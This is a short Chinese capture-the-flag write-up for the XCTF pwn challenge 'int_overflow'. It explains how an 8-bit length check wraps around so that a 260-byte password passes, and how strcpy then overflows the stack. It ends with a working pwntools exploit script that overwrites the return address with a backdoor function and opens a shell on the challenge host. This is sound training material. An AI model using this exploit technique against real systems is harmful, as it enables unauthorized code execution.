[攻防世界 pwn]——int_overflow
- 题目地址: https://adworld.xctf.org.cn/
- 题目:
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/a90419059cd97a8701b20585c26e2f74.png)
checksec一下,开启了NX
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/ce1d2f121e1b5fbad57d791c42c86d42.png)
在IDA中看看, 发现了后面函数和可以gets函数, 不过可惜这个gets函数无法栈溢出。不过我们看到在check_passwd函数中有strcpy函数, dest是可以栈溢出的, 不过前题是我们可以绕过检查。
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/ec925392b00c441b8f7aa1a716570a7d.png)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/a88f1a16aeb7a137c6c1399d1abc3fef.png)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/89d3274093f29b947593267d768b875d.png)
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/eb51560423a44958f0dd35cda5946c06.png)
看了下 , 判断的v3是储存在al这个8位寄存器中, 也就是一个字节。当然也可以从_int8看出来是一个字节 0~255。所以256就是0, 260就是4
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/6fc52779f2ec7006a9309994e7ef9c89.png)
from pwn import *
p = remote("111.200.241.244",47527)
p = process("./pwn")
sys_addr = 0x0804868B
p.sendlineafter("Your choice:", '1')
p.sendlineafter("Please input your username:\n",'peak')
payload = 'a' * 24 + p32(sys_addr)
payload = payload.ljust(260, 'a')
p.sendlineafter("Please input your passwd:\n",payload)
p.interactive()